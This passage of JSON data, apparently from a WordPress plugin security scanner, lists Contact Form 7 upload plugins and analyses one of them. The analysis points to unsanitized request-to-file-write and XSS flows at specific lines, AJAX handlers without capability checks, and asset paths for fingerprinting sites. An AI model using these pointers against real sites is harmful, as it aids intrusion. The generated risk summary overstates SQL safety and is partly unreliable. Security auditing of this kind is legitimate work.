channels\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Privacy Policy\u003C\u002Fh3>\n\u003Cp>This plugin does not collect, store, or transmit any personal data. All file uploads are handled locally on your server and are not sent to any third-party services. Files are temporarily stored during form submission and are automatically cleaned up after processing.\u003C\u002Fp>\n\u003Ch3>Credits\u003C\u002Fh3>\n\u003Cp>Developed by \u003Ca href=\"https:\u002F\u002Fprofiles.wordpress.org\u002Fzluck\" rel=\"nofollow ugc\">Zluck Solutions\u003C\u002Fa> with ❤️ for the WordPress community.\u003C\u002Fp>\n\u003Ch3>Donate\u003C\u002Fh3>\n\u003Cp>If you find this plugin helpful, please consider \u003Ca href=\"https:\u002F\u002Fwww.buymeacoffee.com\u002Fzluck\" rel=\"nofollow ugc\">buying us a coffee\u003C\u002Fa> to support continued development and maintenance.\u003C\u002Fp>\n","Upload unlimited files to Contact Form 7 with an intuitive interface, file management, and automatic ZIP compression for email delivery.",10000,124749,98,49,"2025-12-15T11:24:00.000Z","5.6","7.4",[20,88,89,90,23],"file-attachment","file-uploader","form-plugin","https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fmultiline-files-for-contact-form-7\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmultiline-files-for-contact-form-7.3.1.0.zip","2024-10-15 00:00:00",{"slug":95,"name":96,"version":97,"author":98,"author_profile":99,"description":100,"short_description":101,"active_installs":102,"downloaded":103,"rating":104,"num_ratings":105,"last_updated":106,"tested_up_to":15,"requires_at_least":107,"requires_php":108,"tags":109,"homepage":113,"download_link":114,"security_score":115,"vuln_count":116,"unpatched_count":13,"last_vuln_date":117,"fetched_at":29},"drag-and-drop-multiple-file-upload-contact-form-7","Drag and Drop Multiple File Upload for Contact Form 7","1.3.9.6","Glen Don Mongaya","https:\u002F\u002Fprofiles.wordpress.org\u002Fglenwpcoder\u002F","\u003Cp>\u003Cstrong>Drag and Drop Multiple File Upload\u003C\u002Fstrong> is a simple, straightforward WordPress plugin extension for Contact Form 7, which allows the user to upload multiple files using the \u003Cstrong>drag-and-drop\u003C\u002Fstrong> feature or the common browse-file of your webform.\u003C\u002Fp>\n\u003Cp>Drag and Drop Multiple File Upload for Contact Form 7 is an independent plugin, not affiliated with or endorsed by the developers of Contact Form 7.\u003C\u002Fp>\n\u003Cp>Here’s a little \u003Ca href=\"http:\u002F\u002Fcodedropz.com\u002Fcontact\" rel=\"nofollow ugc\">DEMO\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>File Type Validation\u003C\u002Fli>\n\u003Cli>File Size Validation\u003C\u002Fli>\n\u003Cli>Ajax Uploader\u003C\u002Fli>\n\u003Cli>Limit number of files Upload.\u003C\u002Fli>\n\u003Cli>Limit files size for each field\u003C\u002Fli>\n\u003Cli>Can specify custom file types or extension\u003C\u002Fli>\n\u003Cli>Manage Text and Error message in admin settings\u003C\u002Fli>\n\u003Cli>Drag & Drop or Browse File – Multiple Upload\u003C\u002Fli>\n\u003Cli>Support Multiple Drag and Drop in One Form.\u003C\u002Fli>\n\u003Cli>Able to delete uploaded file before being sent\u003C\u002Fli>\n\u003Cli>Send files as \u003Cstrong>email attachment\u003C\u002Fstrong> or as a \u003Cstrong>links\u003C\u002Fstrong>. \u003Cem>(see note below)\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>Support multiple languages\u003C\u002Fli>\n\u003Cli>Mobile Responsive\u003C\u002Fli>\n\u003Cli>Cool Progress Bar\u003C\u002Fli>\n\u003Cli>Compatible with any browser\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>PLUGIN GUIDE – FREE VERSION\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FDvuvmzIImYo?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> On Free version, all uploaded files moves to a temporary folder \u003Cem>(“\u002Fwp-content\u002Fuploads\u002Fwp_dndcf7_uploads”)\u003C\u002Fem> then attaches the file to the mail and sends it. After that \u003Cstrong>“Drag & Drop File Upload”\u003C\u002Fstrong> removes the file from the temporary folder \u003Cstrong>1 hour\u003C\u002Fstrong> after the submission. \u003Cem>( same process with the default \u003Cstrong>“file”\u003C\u002Fstrong> upload of Contact Form 7 – \u003Ca href=\"https:\u002F\u002Fcontactform7.com\u002Ffile-uploading-and-attachment\u002F#How-your-uploaded-files-are-managed\" rel=\"nofollow ugc\">See here\u003C\u002Fa> )\u003C\u002Fem>\u003C\u002Fp>\n\u003Cp>To \u003Cstrong>adjust\u003C\u002Fstrong> or \u003Cstrong>disable\u003C\u002Fstrong> the auto-deletion feature, we suggest upgrading to the \u003Cstrong>PRO version\u003C\u002Fstrong> for more options \u003Cem>(see below)\u003C\u002Fem>.\u003C\u002Fp>\n\u003Ch3>⭐ Premium Features ⭐\u003C\u002Fh3>\n\u003Cp>Check out the available features in the \u003Ca href=\"https:\u002F\u002Fwww.codedropz.com\u002Fdrag-drop-multiple-file-upload-for-contact-form-7\u002F#shop\" rel=\"nofollow ugc\">\u003Cstrong>PRO version\u003C\u002Fstrong>\u003C\u002Fa>.\u003C\u002Fp>\n\u003Col>\n\u003Cli>\u003Cstrong>Upload Large File\u003C\u002Fstrong> – Supports uploading large files.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Image Preview\u003C\u002Fstrong> – Displays thumbnails for images.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Auto Delete Files\u003C\u002Fstrong> – Automatically deletes files after a set time \u003Cem>(hours, weeks, days, months, etc)\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Zip Files\u003C\u002Fstrong> – Compress uploaded files into a ZIP archive\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Save Files to Media Library\u003C\u002Fstrong> – Store files in the WordPress media library.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Change Upload Directory\u003C\u002Fstrong> – Customize the default WordPress upload directory.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Upload Folder\u003C\u002Fstrong> – 📂 Choose a custom folder to store files:\u003Cbr \u002F>\n✅ Contact Form 7 Fields: Use any field name\u003Cbr \u002F>\n✅ Generated Date & Time: Timestamp-based folders\u003Cbr \u002F>\n✅ Random Folder: Auto-generated letters & numbers\u003Cbr \u002F>\n✅ By User: Requires login to store files in the user’s email or first name.\u003Cbr \u002F>\n✅ Custom Folder: Manually input a folder name\u003Cbr \u002F>\n✅ Dynamic Folder: \u003Cem>User (name, id), Post (id, slug), CF7 field\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Send as Attachments, Zip, or Links\u003C\u002Fstrong> – Flexible file delivery options.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Chunked Uploads\u003C\u002Fstrong> – Upload large files in smaller chunks to avoid timeouts.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Max Total Size\u003C\u002Fstrong> – Set the maximum combined size for all uploaded files.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Parallel Upload\u003C\u002Fstrong> – Limit simultaneous uploads to optimize server performance.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom Filename\u003C\u002Fstrong> – Define custom filename patterns: \u003Cem>( {filename}, {cf7-field-name}, {ip_address}, {random}, {post_id}, {post_slug}, etc. )\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Color Options\u003C\u002Fstrong> – Customize colors for \u003Cstrong>file size\u003C\u002Fstrong>, \u003Cstrong>progress bar\u003C\u002Fstrong>, \u003Cstrong>filename\u003C\u002Fstrong>, and more.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Prevent Duplicate\u003C\u002Fstrong> – Disable button to prevent duplicate submissions.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom Theme\u003C\u002Fstrong> – Switch between \u003Cstrong>“Dark”\u003C\u002Fstrong> or \u003Cstrong>“Light”\u003C\u002Fstrong> themes.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Form Entries\u003C\u002Fstrong> – Store form entries in WordPress admin.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Seamless Remote Storage Integration\u003C\u002Fstrong>\u003Cbr \u002F>\n🔥 Supports: \u003Cstrong>OneDrive\u003C\u002Fstrong>, \u003Cstrong>Google Drive\u003C\u002Fstrong>, \u003Cstrong>Amazon S3\u003C\u002Fstrong>, \u003Cstrong>Dropbox\u003C\u002Fstrong>, \u003Cstrong>FTP\u003C\u002Fstrong>.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Image Size Validation\u003C\u002Fstrong> – Ensure images meet required width and height.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Image Resize\u003C\u002Fstrong> – Supports image resizing (e.g., 800×800). \u003Cem>(\u003Cstrong>Standard\u003C\u002Fstrong> Version Only)\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Optimize Image\u003C\u002Fstrong> – Optimize images after resizing. \u003Cem>(\u003Cstrong>Standard\u003C\u002Fstrong> Version Only)\u003C\u002Fem>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Security\u003C\u002Fstrong> – Ensure security with regular updates, vulnerability scans, and threat protection.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Optimized Code & Performance\u003C\u002Fstrong> – Improve speed and efficiency.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>\u003Cstrong>Pro version\u003C\u002Fstrong> is also compatible with:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Contact Form 7 Add-on – Arshid\u003C\u002Fli>\n\u003Cli>Database for Contact Form 7- Ninja\u003C\u002Fli>\n\u003Cli>Advanced Contact form 7 DB – Vsourz Digital\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>You can get \u003Ca href=\"https:\u002F\u002Fwww.codedropz.com\u002Fdrag-drop-multiple-file-upload-for-contact-form-7\u002F#shop\" rel=\"nofollow ugc\">PRO Version here\u003C\u002Fa>!\u003C\u002Fp>\n\u003Cp>\u003Cstrong>PRO VERSION – PLUGIN OVERVIEW\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FPoQA4KmIETA?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>Other Plugins You May Like\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.codedropz.com\u002Fwoo-order-files\u002F\" rel=\"nofollow ugc\">Order Files for WooCommerce\u003C\u002Fa>\u003Cbr \u002F>\nAn extension that attach files to existing WooCommerce orders, allowing both customers and admins to upload and manage files easily.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Feasy-file-upload-approval\u002F\" rel=\"ugc\">Easy File Upload & Approval\u003C\u002Fa>\u003Cbr \u002F>\n\u003Cstrong>Easy File Upload & Approval\u003C\u002Fstrong> – A simple file management plugin that lets users effortlessly upload and submit files for review through a clean and simple drag-and-drop interface.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fdrag-and-drop-multiple-file-upload-for-woocommerce\u002F\" rel=\"ugc\">Drag & Drop Multiple File Upload – WooCommerce\u003C\u002Fa>\u003Cbr \u002F>\nAn extension for \u003Cstrong>WooCommerce\u003C\u002Fstrong> – Transform your simple file upload into beautiful \u003Cstrong>“Drag & Drop Multiple File Upload”\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.codedropz.com\u002Fdrag-drop-file-uploader-wpforms\u002F\" rel=\"nofollow ugc\">Drag & Drop Multiple File Upload – WPForms\u003C\u002Fa>\u003Cbr \u002F>\nAn extension for \u003Cstrong>WPForms\u003C\u002Fstrong> – Transform your simple file upload into beautiful \u003Cstrong>“Drag & Drop Multiple File Upload”\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n","This simple plugin create Drag & Drop or choose Multiple File upload in your Confact Form 7 Forms.",60000,1264517,96,94,"2026-03-05T05:19:00.000Z","3.0.1","5.2.4",[110,20,21,111,112],"ajax-uploader","multiple-file","upload","http:\u002F\u002Fcodedropz.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdrag-and-drop-multiple-file-upload-contact-form-7.1.3.9.6.zip",81,16,"2026-04-17 04:37:16",{"slug":119,"name":120,"version":121,"author":122,"author_profile":123,"description":124,"short_description":125,"active_installs":126,"downloaded":127,"rating":104,"num_ratings":128,"last_updated":129,"tested_up_to":130,"requires_at_least":131,"requires_php":132,"tags":133,"homepage":17,"download_link":136,"security_score":82,"vuln_count":27,"unpatched_count":13,"last_vuln_date":137,"fetched_at":29},"images-optimize-and-upload-cf7","Images Optimize and Upload CF7","2.2.1","Damir Akhmedshin","https:\u002F\u002Fprofiles.wordpress.org\u002Fyesworld\u002F","\u003Cp>Images Optimize and Upload CF7 is an extension plugin for \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcontact-form-7\u002F\" rel=\"ugc\">Contact Form 7\u003C\u002Fa> plugin, that allows you to upload multiple images using drag-n-drop or simple “Browse” button, and compress them on the client’s side before sending it. If you want to save a user’s time and bandwidth on uploading large images, this plugin is perfect solution.\u003C\u002Fp>\n\u003Ch4>Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Quick compression on the client’s side\u003C\u002Fli>\n\u003Cli>Save data by compressing it on the client’s side before sending to the server\u003C\u002Fli>\n\u003Cli>Automatically resize images to max 1920px (width or height)\u003C\u002Fli>\n\u003Cli>Maintains the aspect ratio of the images\u003C\u002Fli>\n\u003Cli>Fix image rotation issue when uploading images from Android an iOS (uses EXIF data)\u003C\u002Fli>\n\u003Cli>Highly customizable\u003C\u002Fli>\n\u003Cli>File type validation\u003C\u002Fli>\n\u003Cli>No limits on input file size\u003C\u002Fli>\n\u003Cli>Ajax upload\u003C\u002Fli>\n\u003Cli>Drag-n-drop or browse file\u003C\u002Fli>\n\u003Cli>Attach compressed files to emails\u003C\u002Fli>\n\u003Cli>Adapted to mobile design\u003C\u002Fli>\n\u003Cli>Customize file upload thumbnails and drag and drop area layouts\u003C\u002Fli>\n\u003Cli>Multiple shortcodes in one form\u003C\u002Fli>\n\u003Cli>Identify files by adding ID to the shortcode. The ID value will be used as a prefix in the filename\u003C\u002Fli>\n\u003Cli>Set the maximum uploaded files limit in global settings, or in the shortcode\u003C\u002Fli>\n\u003Cli>Save or remove all temporary files from the server after sending the form. But if you want to keep the files on the server, please, install \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fcontact-form-cfdb7\u002F\" rel=\"ugc\">Contact Form 7 Database Addon – CFDB7\u003C\u002Fa> plugin to access the files\u003C\u002Fli>\n\u003Cli>Supports Google Chrome, Mozilla Firefox, Microsoft Edge, Safari. Doesn’t support IE 11 and lower\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Limitations\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Transparent background in PNG files will become solid black\u003C\u002Fli>\n\u003Cli>Animated GIF files will only have 1st frame after compression\u003C\u002Fli>\n\u003Cli>Doesn’t support IE\u003C\u002Fli>\n\u003C\u002Ful>\n","Allows uploading and client-side compression of multiple images in Contact Form 7.",600,7291,13,"2025-06-01T06:46:00.000Z","6.8.5","5.2.2","5.2",[134,20,21,135,111],"compression","images","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fimages-optimize-and-upload-cf7.2.2.1.zip","2022-12-21 00:00:00",{"slug":139,"name":140,"version":141,"author":142,"author_profile":143,"description":144,"short_description":145,"active_installs":146,"downloaded":147,"rating":148,"num_ratings":54,"last_updated":149,"tested_up_to":150,"requires_at_least":151,"requires_php":17,"tags":152,"homepage":17,"download_link":157,"security_score":158,"vuln_count":13,"unpatched_count":13,"last_vuln_date":37,"fetched_at":29},"cf7-dropbox","Contact Form 7 Dropbox","1.2","Jay Swadas","https:\u002F\u002Fprofiles.wordpress.org\u002Fjayswadas\u002F","\u003Cp>Add-on plugin for Contact Form 7 – adds the option to upload file directly on dropbox.\u003Cbr \u002F>\nNOTE: This plugin requires Contact Form 7 version 4.8 or later.\u003C\u002Fp>\n\u003Ch3>Usage\u003C\u002Fh3>\n\u003Cp>Simply go to your form settings, choose the “Dropbox Settings” tab and set the Dropbox access token, file input ID and dropbox folder name.\u003C\u002Fp>\n","A simple add-on for Contact Form 7 upload file on dropbox.",200,6879,80,"2019-01-02T12:17:00.000Z","5.0.25","4.0.0",[153,154,155,156],"contact-form-7-dropbox","contact-form-dropbox","dropbox","dropbox-file-upload","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcf7-dropbox.1.2.zip",85,{"slug":160,"name":161,"version":162,"author":163,"author_profile":164,"description":165,"short_description":166,"active_installs":146,"downloaded":167,"rating":168,"num_ratings":169,"last_updated":170,"tested_up_to":15,"requires_at_least":16,"requires_php":86,"tags":171,"homepage":177,"download_link":178,"security_score":82,"vuln_count":179,"unpatched_count":13,"last_vuln_date":180,"fetched_at":29},"mega-forms","Mega Forms – Drag & Drop Form Builder with Multi-Step & Conditional Logic","1.7.1","Ali Khallad","https:\u002F\u002Fprofiles.wordpress.org\u002Falikhallad\u002F","\u003Cp>Mega Forms is highly advanced contact form builder for WordPress, it comes with all the contact form features you will ever need, including AJAX submission, multi-page contact forms, secure file uploads, conditional logic, save and continue, user creation, front end posting, and tons more. You can use Mega Forms to save time, grow customer interaction, and build better contact forms for any purpose.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwpmegaforms.com\u002F?utm_source=wprepo&utm_medium=link&utm_campaign=wp-repo\" rel=\"nofollow ugc\">Mega Forms\u003C\u002Fa> gives you a modern interface, easy customization, and the ability to build modern & professional forms thanks to our intuitive drag & drop visual editor.\u003C\u002Fp>\n\u003Cp>Now you can create better forms, embed them anywhere on your WordPress website, get email notification for each submission, perform custom tasks, and collect & manage data without being a coding ninja.\u003C\u002Fp>\n\u003Cp>Mega Forms contact forms are also highly optimized for web and server performance. We know how important speed is when it comes to SEO and user experience, that’s why we have built every piece of Mega Forms with performance and usability in mind. Mega Forms will load the least possible amount of CSS & JS assets, and only store necessary data to the database to keep your website fast and provide your users with better experience.\u003C\u002Fp>\n\u003Ch4>No Coding Skills Required\u003C\u002Fh4>\n\u003Cp>No technical skill? No problem. You can easily design simple and complex forms with our highly advanced visual builder. Mega Forms offers a flexible row\u002Fcolumn layout system that requires very minimal effort to build forms that blends nicely with your website design.\u003C\u002Fp>\n\u003Ch4>Developer Friendly\u003C\u002Fh4>\n\u003Cp>Mega Forms has been built with developers in mind. This means it’s flexible, easily extendable, and full of action and filter hooks, making it easy to customize to your own needs.\u003C\u002Fp>\n\u003Ch4>Top Features\u003C\u002Fh4>\n\u003Cp>Mega Forms comes with a visual editor and ton of other features:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Intuitive user interface\u003C\u002Fli>\n\u003Cli>Drag & drop form builder\u003C\u002Fli>\n\u003Cli>Optimized for speed & performance\u003C\u002Fli>\n\u003Cli>Tons of free field types ( text, select, radio, checkboxes and more )\u003C\u002Fli>\n\u003Cli>Regular updates & dedicated support\u003C\u002Fli>\n\u003Cli>Fully responsive & mobile friendly\u003C\u002Fli>\n\u003Cli>Unlimited forms & form submission\u003C\u002Fli>\n\u003Cli>Merge tags support\u003C\u002Fli>\n\u003Cli>Multi-steps support\u003C\u002Fli>\n\u003Cli>Conditional logic support ( for fields, form notifications and more )\u003C\u002Fli>\n\u003Cli>Save And Continue Later support\u003C\u002Fli>\n\u003Cli>Front end posting & User creation\u003C\u002Fli>\n\u003Cli>Export and import forms\u003C\u002Fli>\n\u003Cli>Export entries\u003C\u002Fli>\n\u003Cli>Customizable templates\u003C\u002Fli>\n\u003Cli>Full control ( styles, email templates, field templates and more )\u003C\u002Fli>\n\u003Cli>Developer friendly\u003C\u002Fli>\n\u003Cli>Highly effective Anti-spam system ( invisible to users )\u003C\u002Fli>\n\u003Cli>reCaptcha support\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Available Extensions ( third-party )\u003C\u002Fh4>\n\u003Cp>The following extensions above are provided by third-party developers, we do not manage or support these extensions.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fgithub.com\u002Flichtmetzger\u002Fmega-forms-local-captcha\" rel=\"nofollow ugc\">Local captcha by MobiCMS\u003C\u002Fa>: Integrates a local captcha by MobiCMS into Mega Forms.\u003C\u002Fli>\n\u003C\u002Ful>\n","Contact form builder that allows you to create forms for any purpose. Drag & drop form fields to build modern, professional contact forms in minutes.",11020,100,11,"2026-03-27T15:37:00.000Z",[172,173,174,175,176],"ajax-forms","custom-form","drag-and-drop-form-builder","file-upload-forms","multi-step-ajax-form","http:\u002F\u002Fwpmegaforms.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmega-forms.1.7.1.zip",2,"2025-09-03 00:00:00",{"attackSurface":182,"codeSignals":275,"taintFlows":286,"riskAssessment":329,"analyzedAt":336},{"hooks":183,"ajaxHandlers":258,"restRoutes":270,"shortcodes":271,"cronEvents":272,"entryPointCount":218,"unprotectedCount":13},[184,190,196,199,204,207,210,213,219,222,226,230,233,236,239,243,247,250,254],{"type":185,"name":186,"callback":187,"file":188,"line":189},"action","wpcf7_init","wpcf7_add_form_tag_file","backend\\index.php",6,{"type":191,"name":192,"callback":193,"priority":194,"file":188,"line":195},"filter","wpcf7_validate_file_uploads","wpcf7_file_validation_filter",10,7,{"type":191,"name":197,"callback":193,"priority":194,"file":188,"line":198},"wpcf7_validate_file_uploads*",8,{"type":185,"name":200,"callback":201,"priority":202,"file":188,"line":203},"wpcf7_admin_init","wpcf7_add_tag_generator_file",50,9,{"type":191,"name":205,"callback":206,"priority":202,"file":188,"line":194},"wpcf7_mail_components","cf7_add_files",{"type":191,"name":208,"callback":209,"file":188,"line":128},"wpcf7_messages","wpcf7_drop_messages",{"type":185,"name":211,"callback":212,"priority":194,"file":188,"line":116},"yeeaddons_cf7_settings_uploads","add_settings",{"type":185,"name":214,"callback":215,"priority":216,"file":217,"line":218},"admin_menu","add_menu",999,"backend\\settings.php",5,{"type":185,"name":220,"callback":221,"file":217,"line":189},"admin_init","register_mysettings",{"type":185,"name":223,"callback":224,"file":49,"line":225},"remove_files_dropfiles","do_remove_files",23,{"type":185,"name":227,"callback":228,"file":229,"line":218},"wp_enqueue_scripts","add_lib","frontend\\index.php",{"type":185,"name":214,"callback":215,"priority":231,"file":232,"line":194},9999,"yeekit\\document.php",{"type":185,"name":234,"callback":235,"file":232,"line":169},"admin_enqueue_scripts","add_js",{"type":191,"name":237,"callback":237,"file":232,"line":238},"fluentform_global_addons",12,{"type":185,"name":240,"callback":241,"file":232,"line":242},"admin_notices","add_banner",14,{"type":185,"name":244,"callback":245,"file":232,"line":246},"elementor\u002Felement\u002Fform\u002Fsection_form_options\u002Fafter_section_end","elementor_addons",15,{"type":185,"name":220,"callback":248,"file":232,"line":249},"add_ninja_form",17,{"type":185,"name":251,"callback":252,"file":232,"line":253},"elementor\u002Feditor\u002Fafter_enqueue_styles","after_register_styles",19,{"type":191,"name":255,"callback":256,"priority":194,"file":232,"line":257},"http_response","http_response_eform",208,[259,263,264,266,267],{"action":260,"nopriv":53,"callback":261,"hasNonce":262,"hasCapCheck":53,"file":188,"line":169},"file_uploads_remove","cf7_dropfiles_remove",true,{"action":260,"nopriv":262,"callback":261,"hasNonce":262,"hasCapCheck":53,"file":188,"line":238},{"action":265,"nopriv":53,"callback":265,"hasNonce":262,"hasCapCheck":53,"file":188,"line":242},"cf7_file_uploads",{"action":265,"nopriv":262,"callback":265,"hasNonce":262,"hasCapCheck":53,"file":188,"line":246},{"action":268,"nopriv":53,"callback":269,"hasNonce":262,"hasCapCheck":53,"file":232,"line":128},"yeekit_dismiss_noty","dismiss_noty",[],[],[273],{"hook":223,"callback":223,"file":49,"line":274},27,{"dangerousFunctions":276,"sqlUsage":277,"outputEscaping":279,"fileOperations":54,"externalRequests":179,"nonceChecks":54,"capabilityChecks":13,"bundledLibraries":285},[],{"prepared":13,"raw":13,"locations":278},[],{"escaped":280,"rawEcho":27,"locations":281},88,[282],{"file":188,"line":283,"context":284},447,"raw output",[],[287,310],{"entryPoint":288,"graph":289,"unsanitizedCount":27,"severity":309},"cf7_file_uploads (backend\\index.php:154)",{"nodes":290,"edges":306},[291,296,300],{"id":292,"type":293,"label":294,"file":188,"line":295},"n0","source","$_REQUEST",165,{"id":297,"type":298,"label":299,"file":188,"line":295},"n1","transform","→ get_ensure_upload_dir()",{"id":301,"type":302,"label":303,"file":188,"line":304,"wp_function":305},"n2","sink","file_put_contents() [File Write]",137,"file_put_contents",[307,308],{"from":292,"to":297,"sanitized":53},{"from":297,"to":301,"sanitized":53},"medium",{"entryPoint":311,"graph":312,"unsanitizedCount":27,"severity":309},"\u003Cindex> (backend\\index.php:0)",{"nodes":313,"edges":325},[314,316,320,321,323],{"id":292,"type":293,"label":294,"file":188,"line":315},198,{"id":297,"type":302,"label":317,"file":188,"line":318,"wp_function":319},"echo() [XSS]",492,"echo",{"id":301,"type":293,"label":294,"file":188,"line":295},{"id":322,"type":298,"label":299,"file":188,"line":295},"n3",{"id":324,"type":302,"label":303,"file":188,"line":304,"wp_function":305},"n4",[326,327,328],{"from":292,"to":297,"sanitized":262},{"from":301,"to":322,"sanitized":53},{"from":322,"to":324,"sanitized":53},{"summary":330,"deductions":331},"The plugin exhibits a generally strong security posture, with several positive indicators. The static analysis reveals a significant emphasis on secure coding practices, including 100% usage of prepared statements for SQL queries and an exceptionally high percentage (99%) of properly escaped outputs. The absence of known CVEs and a clean vulnerability history further contribute to this positive assessment, suggesting a commitment to maintaining a secure codebase over time.  However, there are areas for improvement that introduce potential risks. The presence of two flows with unsanitized paths, even without a critical or high severity rating, warrants attention as it indicates a potential for path traversal vulnerabilities if not handled with extreme care by the plugin's logic. Additionally, the lack of capability checks on any of the AJAX handlers, despite the presence of nonce checks, means that even authenticated users might be able to trigger actions they shouldn't have permission for. While the attack surface is moderate and all identified entry points have some form of check, these missing capability checks represent a weakness in privilege escalation prevention.",[332,334],{"reason":333,"points":194},"Flows with unsanitized paths found",{"reason":335,"points":198},"No capability checks on AJAX handlers","2026-03-16T21:55:17.536Z",{"wat":338,"direct":347},{"assetPaths":339,"generatorPatterns":342,"scriptPaths":343,"versionParams":344},[340,341],"\u002Fwp-content\u002Fplugins\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Ffrontend\u002Fcss\u002Fcf7-dropfiles.css","\u002Fwp-content\u002Fplugins\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Ffrontend\u002Fjs\u002Fdropfiles-cf7.js",[],[341],[345,346],"drag-and-drop-file-upload-for-contact-form-7\u002Ffrontend\u002Fcss\u002Fcf7-dropfiles.css?ver=","drag-and-drop-file-upload-for-contact-form-7\u002Ffrontend\u002Fjs\u002Fdropfiles-cf7.js?ver=",{"cssClasses":348,"htmlComments":352,"htmlAttributes":353,"restEndpoints":355,"jsGlobals":356,"shortcodeOutput":357},[349,350,351],"yeekit_addons_list","yee-install","yee-pro",[],[354],"data-yee-type",[],[265],[],{"error":262,"url":359,"statusCode":360,"statusMessage":361,"message":361},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":179,"versions":363},[364,369],{"version":6,"download_url":25,"svn_tag_url":365,"released_at":37,"has_diff":53,"diff_files_changed":366,"diff_lines":37,"trac_diff_url":367,"vulnerabilities":368,"is_current":262},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Ftags\u002F1.1.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fdrag-and-drop-file-upload-for-contact-form-7%2Ftags%2F1.1.0&new_path=%2Fdrag-and-drop-file-upload-for-contact-form-7%2Ftags%2F1.1.4",[],{"version":370,"download_url":371,"svn_tag_url":372,"released_at":37,"has_diff":53,"diff_files_changed":373,"diff_lines":37,"trac_diff_url":37,"vulnerabilities":374,"is_current":53},"1.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdrag-and-drop-file-upload-for-contact-form-7.1.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fdrag-and-drop-fil